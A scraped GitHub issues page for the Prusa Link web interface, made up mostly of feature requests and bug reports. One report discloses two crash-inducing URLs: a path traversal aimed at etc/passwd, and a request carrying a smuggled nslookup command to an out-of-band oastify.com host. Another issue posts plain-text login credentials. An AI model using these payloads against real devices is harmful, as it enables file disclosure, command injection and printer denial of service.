prusa3d / prusa-link-web Goto Github PK
View Code? Open in Web Editor NEWPrusa Web interface resources
License: GNU General Public License v3.0
Prusa Web interface resources
License: GNU General Public License v3.0
I would like to have sort and edit handling of storage files similiar to that of Octoprint.
Sort by name, date of upload, filesize etc.
Select files/folders - all or some and delete.
Prusa Mini, Filament sensor & ESP01S installed, v4.4.0-beta2
Connecting to Prusa Link Beta requires an API key through a clear text field. Browser do not autodetect this as a password field, so they do not offer to save the API key. Neither does Prusa Link Beta set a cookie with the API key.
This means that I have to look up and enter the API key every single time.
For more convenience, please
Version 4.3.x had a very useful URL of
http://[prusa mini hostname]/api/telemetry
that returned a simple json file that allowed logging of the printer status (temperatures, file printing, etc). I found this feature so useful, I'm going to revert my firmware until this is restored.
With the network changes in v4.4.0 and the need for a API key for every session (which also makes using the web interface from a browser annoying), I don't see any way to get the equivalent information from the new web interface. I see no reason the read only information in the v4.3 json telemetry needs to be protected by the API key authentication mechanism.
Furthermore, the printer won't even ping, so there is not even an easy way to tell if the printer is up with the new firmware.
Pardon me if I'm missing something obvious as I'm new to PrusaLink/PrusaConnect. File output is set to
[input_filename_base]{printer_model}{filament_type[0]}[temperature]C[layer_height]mm_[fill_density]_[print_time].gcode
in all my profiles. When [fill_density] is filled in, it results in adding something like "_10%" to the filename. I never had an issue with that while using Octoprint but when I try to send that file from Prusaslicer or upload to PrusaConnect, I get an "invalid file name" error. I can correct it by deleting the % character. But what's particularly annoying is that the percent character is actually added in the first place by the slicer itself, not by me. Can the % character be added to the list of allowed characters?
Hi can i this install to my RPI 3B+ and use Prusa i3 mk3s?
Enter what type of printer or upgrade the enhancement applies to.
Prusa Mini +
Prusa Link
Is your suggested improvement related to an existing problem? Please describe.
Under the storage tab the files are listed in alphabetical order and macos index/meta files (ie ._ ) are shown
Describe the expected functionality
The files should be displayed in descending modification time order (similar to the actual printer) and macos index/meta files should be hidden
There should be an option to cancel transfer or at least to reboot the Rpi from web interface.
I have power on the Printer, and from Prusa Slicer send a gcode to upload and print.
After a while Prusa Slicer show an errror, that transfer failed.
On the UI in Prusa Link file transfer stops at 99.9% and nothing is happening.
Second attempt to send a gcode end with an error that transfer is already in progress.
There is no way to stop this remotely, cancel print button does not work.
Cannot login via SSH to Rpi, looks like SSH is disabled on prusa link image.
The only solution is AC cycle the printer, which is not really convenient way
Setup is MK3S+ with Rpi Zero.
Versions:
api 2.0.0
firmware 3.11.0-4955
server 0.6.1
text OctoPrint 1.1.0
sdk 0.6.0
frontend 3.5.0
Printer type - MK3 but will also apply to MINI when that gets set up with Prusa Connect
Is your enhancement related to a problem? Please describe.
I really like the 'print queue' function in Prusa Connect, where you queue up all the prints you need and once a print is finished and you have cleared the bed you can hit the 'Printer Ready' button in the web UI and the next print in the queue will start.
What I would like to see is the ability to set 'Printer Ready' from the printer itself rather than having to go back to the web UI to do it.
This could be with a simple prompt at the end of a print with just a 'Is the bed clear' Yes or No type question but ideally it would show what the next filename in the queue is, and what type of filament is needed. It could even guide you through a filament change if one is required.
Clearly this enhancement would require a lot of work across both Prusa Connect and the firmware itself so I can put a corresponding issue into the Prusa-Link repo if required.
This is a Feature Request.
As far as I found, metrics exposed by the printer (cf. /api/telemetry endpoint) use a JSON format.
This does not make possible to integrate easily with existing metrics stacks, like Prometheus.
Prometheus is one of the most popular metrics stack (yet not the only one). More interestingly, its text based exposition format is becoming a de facto standard, and is quite easy to implement.
Integrating a metrics stack with (farm of) printers could be valuable both for hobbyists and professionals, since it would provide, almost out-of-the-box, with monitoring dashboards and automatic alerting.
Note that this is not a strong feature requests, since there exists workarounds, like using the community https://github.com/prometheus-community/json_exporter to convert JSON to Prometheus format. It's just one more hop in the stack.
Though, promoting such integrations could bring interesting developments.
To keep the USB stick practical, it's necessary to put projects into subdirectories. E.g. first choice is Material and so on.
These directories aren't supported by PRUSA Link. You can only access the root directory. Directly on the MINI+ thex can be accessed.
Please make directories on the USB stick also accessible in PRUSA Link.
I can connect to my Prusa Mini with a browser and while it currently only shows temperature and some other statistics I expect this to improve over time.
However, on the Dashboard the estimated time show only current time, no estimation.
Printer type - Prusa Original MINI+
Printer firmware version - 4.4.0-BETA2
Original or Custom firmware - Original
Optional upgrades - Filament sensor
USB drive or USB/Octoprint
USB (PrusaLink)
Describe the bug
The Web UI will get 404s if you try and upload a file with a space in it and print the file. The print actually still happens, but there's a 404 when it tries to load the gcode file for progress-with-img
.
For example:
GET http://10.11.0.33/api/files/usb/Filament guide_Wheel_0.6n_0.15mm_PETG_MINI_12m.gcode
-> 404'd!
But if you try a new print without the spaces from the file name:
GET http://10.11.0.33/api/files/usb/Filamentguide_Wheel_0.6n_0.15mm_PETG_MINI_12m.gcode
-> 200 OK
How to reproduce
G-code
All files with a space.
Crash dump file
N/A
As title says, there are only files placed in root displayed, no way to get the subfolders etc.
Printer type - [MINI]
Printer firmware version - 4.4.0-RC1
Original or Custom firmware - RC1
Optional upgrades - Bondtech extruder/Filament sensor
USB drive or USB/Octoprint - USB
Describe the bug
Printer crash & reboot with the following URL: http://192.168.1.12/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
(You may have to play with the number of "..%5c"
Additional crashing URL
http://192.168.1.12/robots.txt%7cnslookup%20-q%3dcname%20l2oux1cnc4o7cyvi47cnwa5b92fv3orkfb7yxmm.oastify.com.%26
How to reproduce
Change IP address in above URL to match printer and it will crash and reboot the printer. (URL encoding will bypass the limit set for error code 414?)
This was discovered when I was testing a scanning tool on my network and I noticed my printer kept rebooting. I don't really think this issue is a concern unless someone puts their printer on the public internet.
Expected behavior
414: URI Too long
Crash dump file
(.rar renamed to .txt)
Possibility to upload gcode file over web interface would be very useful. Simple file manager to be able to upload gcode to usb in the MINI would be the best, but even simple upload to root would help a lot.
Enter what type of printer or upgrade the enhancement applies to.
Printer type - [MINI+]
Optional upgrades - [Filament Runout Sensor]
Is your suggested improvement related to an existing problem? Please describe.
Prusalink - I would like to see more info from the printer - for example values - fan speeds, bed type, material of filament type etc.
Describe the expected functionality
Add more info from printer in Prusalink
I feel it is a bug, because how can "Z Height" jump every second for up to half a millimeter?
Just now on the same layer Z Height jumps wildly between 1.2 and 0.7 mm. I am just printing with a 0.15 mm layer height!
As this information seems to be unreliable, why not also display the layer number? Which should really be stable ...
I am experiencing an issue with my Pi-hole DNS server and DHCP server, which assigns names to devices on my local network. When I use the network name instead of the IP address to access the Prusa Link page, it causes my local DNS server to be flooded whenever the printer powers off. This can be seen in the attached image (between 20:15 and 01:30) as high green bars.
As long as the printer is off, the Prusa Link open tab in my browser (Firefox) continues to look up the DNS for the printer approximately 50k/h. If I close the tab, it stops flooding the Pi-hole server.
The excessive DNS lookups by the Prusa Link script are causing the Pi-hole server's safeguard to activate and lock out the flooding IP (workstation) from further DNS queries. This is very annoying as it means I am locked out of the internet until I reset the Pi-hole server.
It seems that the Prusa Link script is looking up the DNS more than once, when it should be possible to use the obtained IP address after just one DNS query. I would like to request a fix for this issue.
Background & user friction:
For rapid prototyping, I use the "slice and print" option very frequently on PrusaSlicer. As a result, my USB on the 3D printer is full of gcode files that are generically named (e.g. something like Body1_0.4mm_PLA_MINI_15m.gcode
). This creates 2 issues:
The feature request:
I wish there was a "delete all gcode" feature that I can easily trigger from time to time to keep my USB clean, so that I can avoid file naming conflicts. Today, I have to delete old gcode files one-by-one using a mouse pointer -- this feels inefficient.
Some alternative solutions, likely more expensive to implement:
Seems like a dependency problem. From 4eccb79 onwards, the project no longer runs unless BACKEND_URL
is provided. Before the named commit, all works as expected.
npm run start
errors out with this output:
[webpack-cli] Invalid options object. Dev Server has been initialized using an options object that does not match the API schema.
- options has an unknown property 'after'. These properties are valid:
object { allowedHosts?, bonjour?, client?, compress?, devMiddleware?, headers?, historyApiFallback?, host?, hot?, http2?, https?, ipc?, liveReload?, magicHtml?, onAfterSetupMiddleware?, onBeforeSetupMiddleware?, onListening?, open?, port?, proxy?, server?, setupExitSignals?, setupMiddlewares?, static?, watchFiles?, webSocketServer? }
This happens on both [email protected]
and [email protected]
. System is aarch64-darwin
After renaming the property to onAfterSetupMiddleware
, the new error becomes:
[webpack-cli] Invalid options object. Dev Server has been initialized using an options object that does not match the API schema.
- options has an unknown property 'contentBase'. These properties are valid:
object { allowedHosts?, bonjour?, client?, compress?, devMiddleware?, headers?, historyApiFallback?, host?, hot?, http2?, https?, ipc?, liveReload?, magicHtml?, onAfterSetupMiddleware?, onBeforeSetupMiddleware?, onListening?, open?, port?, proxy?, server?, setupExitSignals?, setupMiddlewares?, static?, watchFiles?, webSocketServer? }
Again, contentBase
is now known as static
. I replaced contentBase
with the following:
static: {
directory: path.join(__dirname, "dist"),
},
Finally, the error becomes:
[webpack-cli] TypeError: app.use is not a function
at devServer (/redacted/Projects/Prusa-Link-Web/tools/server/index.js:44:7)
at Object.onAfterSetupMiddleware (/redacted/Projects/Prusa-Link-Web/webpack.config.js:183:13)
at Server.setupMiddlewares (/redacted/Projects/Prusa-Link-Web/node_modules/webpack-dev-server/lib/Server.js:2428:20)
at Server.initialize (/redacted/Projects/Prusa-Link-Web/node_modules/webpack-dev-server/lib/Server.js:1819:10)
at Server.start (/redacted/Projects/Prusa-Link-Web/node_modules/webpack-dev-server/lib/Server.js:3251:16)
at async Command.<anonymous> (/redacted/Projects/Prusa-Link-Web/node_modules/@webpack-cli/serve/lib/index.js:255:25)
at async Promise.all (index 1)
at async Command.<anonymous> (/redacted/Projects/Prusa-Link-Web/node_modules/webpack-cli/lib/webpack-cli.js:1674:7)
I've resorted to running the last commit that still works (a631b1b).
A minor Quirk/Bug:
If you send a file using WiFi from PrusaSLicer 2.50 to Prusa-Link (Prusa MINI+, latest firmware 4.4.1) while it is printing a file, then the currently displayed Filename on the Dashboard gets replaced with the name of the file that was sent to the printer instead of the name of the file that is printing. The image remains unchanged and shows the currently printing gcode file.
Steps to recreate:
Using firmware 4.4.0-RC1 on Mini, with whatever prusa-link-web is bundled.
Printer type - MINI
Printer firmware version - 4.4.0-RC1
Original or Custom firmware - Original
Optional upgrades - Filament Runout Sensor
Describe the bug
I am unable to open PrusaLink with WiFi any more. There is always ERR_CONNECTION_REFUSED
message in Chrome or Edge browser.
Printer type - [MINI]
Printer firmware version - 4.4.0-RC1
Original or Custom firmware - Original
Describe the bug
gcode file can be uploaded via PrusaLink when no USB drive is inserted.
At the moment prusaConnect works great if you print trough the interface. But if you start a print from the SD card it cannot show any progress or print time in the interface.
Likewise i wanted to program a monitor that keeps track of printer usage in our farm at the university to detect issues or to know how bussy they are. But there does not seem to be any Gcode to provide insight in the print currently printing. It could be enough to periodically print out the time remaining information or the filename of the active print. But preferably this should need a separate gcode.
If i missed anything i would like a reference to the documentation. But i did not find any insight into this information.
And later on this would also improve the interface of prusaconnect since it now shows ERROR if someone starts a print from the SD card.
The SL1S team has decided to pass the problem onto you, here is the original issue, with a video showing the problem: Can't delete a (bad) file from the printer #57
Can't delete a bad file, either by swiping on the front panel of the printer, or through PrusaLink, because the file never loads.
I think it would be a good idea to add a "report bug" / "give feedback" button somewhere on the interface, directly linking to this github, specifically because it's quite confusing as to which "Prusa Link" is actually which.
I was about to post an unrelated feature request over at https://github.com/prusa3d/Prusa-Link, before I realised that "Prusa Link" (as the logo on the interface calls itself) is not in fact "Prusa Link", but "Prusa Link Web".
(The fact that the instructions on how to use Prusa Link Web with the Prusa Mini still calls it "Prusa Connect Local" also isn't helping.)
Please support MMU2S.
My MMU2S works well, but prusalink is not support mmu2s yet.
A few times I submitted jobs from Prusaslicer to my Mk3S printers just to find out they didn't start. Turns out the printer status was set to ATTENTION, because the LCD display showed the "heating disabled" warning. This is just a benign informational message that requires no other action than pressing the knob. For warning messages without no consequence, Prusalink should override the ATTENTION status and start the print.
I like the new PrusaLink web interface that comes with firmware 4.4.0 beta 2 but there's still room for improvement.
One that I'd like to suggest is it show what what sheet profile is currently active on the dashboard so that I remember to switch sheets when necessary.
Hi
I have one on my Prusa Mini
Wifi module installed and installed the new firmware.
Has everything worked so far, I can also directly from
Slicer upload the file to the printer.
Everything is ok until leveling, but then when it starts printing the website writes "API Error".
Can you help me?
Thank you LG
Currently, I can upload a single gcode and over the current network implementation for wifi, this takes a while.
I'd like the ability to select multiple files for upload so that I don't have to perform this step manually for each file.
Suggestion: reversing the storage file listing order to show the most recent gcode files at the top would be a great workflow improvement vs. having to scroll to the bottom to find the newly uploaded files. Thanks for a great software - I will attempt a PR if I can get a dev env set up for this.
File transfers from Prusaslicer sometimes get stuck. Config: Raspi 3b on a Mk3S+ printer, connected by USB.
For example, printer is turned off but the Pi is on when the file is sent from Prusaslicer.
Screenshot: https://i.imgur.com/vcx5Xgr.png
The screen says Done but the file never makes it to the printer. The transfer never recovers and blocks all other uploads. In fact I found one on one of my printers that apparently had been sitting in that state for more than a day. The only way to fix it that I found is to reboot the Pi.
When I close the Prusalink tab and then open a new tab I will get asked to input the API key again even though the printer has not turned off. This is the same if I turn off the printer or laptop (i.e going to bed) and then in the morning being asked to input the API key again.
Having to go back to the printer and get the API key or save it on the computer is a bit annoying. Firefox also doesn't recognise that it's a password so can't save it as one.
One feature I'm missing from using Octoprint or Klipper Mainsail is showing printer status on the title of website. This feature is small but very convenient when you have multiple web browser tabs, and you can have a quick glance on tab to check print progress without opening the tab.
Beside showing printing progress, I think we could elevate this feature by showing more:
On a random interval, my printer gives me 3 fast beeps in a row. I was able to see the display as it happened once, and it had something to the effect of "Internet connection error" and then immediately switch to "error resolved" and then went away. Hence me not having the exact text for this issue.
From looking through all the logs, best I can find is the following lines:
raspberrypi connect-printer[545]: ERROR: HTTPSConnectionPool(host='connect.prusa3d.com', port=443): Read timed out. (read timeout=30) {loop_step():724}
It would be nice if there was a log file that specifically listed errors that are pushed as notification to the printer like this, so there is an easier way to determine the cause of random beeping.
Also, is there a way to disable alerts for a given error? As having random beeps throughout my day is disruptive, and it does not seem to be causing any usage problems.
Printer: i3 mk3s
PrusaLink HW: Pi Zero W direct attached
PrusaLink SW: 0.7.0.rc1
Hi,
i just found this out by "accident"..
When uploading a file via web or Slicer while something is printing, the filename in the Dashboard and the API changes to the last uploaded.
Printer is a PrusaMINI+ with 4.4.0+4180
Regards,
Luca
Hello,
Here is the project.
I want to use the PrusaLink API
Http://ip/api/job to retrieve the current state of my printers'job and send information by SMS to my mobile Phone depending on the progress.
I thought about doing and API request, setting my API key and credentials but the connection is always denied.
Does anyone had this problem or use the API properly ?
Thanks
Hello guys
When http API is usefull in some circumstances, fails in others. For example it's unavailable when device is turned off. Also requires polling with some frequency which one might find suboptimal.
I suggest to consider mqtt as industry proven standard of API between systems.
The monitoring of printer(s) would be more efficient and reliable with mqtt use of mqtt
with regards
When I try to reupload a file that already exists on the flashdrive, I currently get an error (403 iirc?). PrusaLink on MK3+RPi does not do that and rewrites the file instead. I find that very useful because it allows me to restart prints (after first-layer problems etc.) by just re-"upload and print" directly from PrusaSlicer instead of opening the PrusaLink in a browser and searching for the right file to start.
So would it be please possible to implement that on the Mini too?
So I've been talking with @TojikCZ on Discord and the idea of creating an electron app that would offload everything from the printers board and give the ability to have more contributions etc came up and so I built this https://github.com/Danil0v3s/Prusa-Link-Standalone/
For that app to work properly we would need the ability to change the hostname externally.. I tried to trace where does the hostname comes from and it looks like it comes from a hardcoded call to localhost
. Is that correct?
What would be the best approach in your opinion to tackle this issue if this is even something that could be included in the roadmap?
IMHO, I think it's a cool feature
This is a copy of https://forum.prusa3d.com/forum/bugs-errors/error-cant-connect-to-prusa-connect/#post-611598 with more info.
I I can SSH into the device and I can reach the host though...
pi@prusa:~ $ nc -v -z connect.prusa3d.com 443
Connection to connect.prusa3d.com (172.104.231.244) 443 port [tcp/https] succeeded!
Please see attached logs from: prusa-link -f -d start
: debug.log
creds used were:
admin
12345678
Note:I tested with and without 2FA on my account.
It would be helpful to have an OS-level notification when a print completes.
Is there a list of requirements that are needed to make Prusalink work with the MMU2? I might have time to jump into adding the features, but I need a little guidance on what's missing.
Thanks in advance.
It would be nice to see which filament (ASA, PETG, ...) and heat bed (smooth, textured, ...) is currently used in printer.
Prusa-Link-Web/spec/openapi.yaml
Line 13 in fa3e3f7
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.